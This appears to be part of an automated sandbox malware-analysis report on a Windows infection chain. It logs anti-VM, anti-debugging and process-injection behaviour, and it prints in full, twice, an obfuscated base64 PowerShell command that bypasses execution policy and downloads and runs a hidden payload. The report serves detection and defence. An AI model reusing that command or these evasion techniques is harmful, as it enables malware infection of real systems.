Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 450000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598689	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2134	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 409	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1146	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8734	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3512	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 3680	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3804	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3776	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep count: 1146 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep count: 8734 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3884	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3888	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3888	Thread sleep time: -598689s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3888	Thread sleep time: -2400000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3984	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598689	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: AddInProcess32.exe, 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: AddInProcess32.exe, 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

API call chain: ExitProcess graph end node

graph_3-366

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 10_2_002D5330 CheckRemoteDebuggerPresent,

10_2_002D5330

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 3_2_03500736 mov edx, dword ptr fs:[00000030h]

3_2_03500736

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe	Domain query: paste.ee
Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 188.114.96.3 443			Jump to behavior

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump 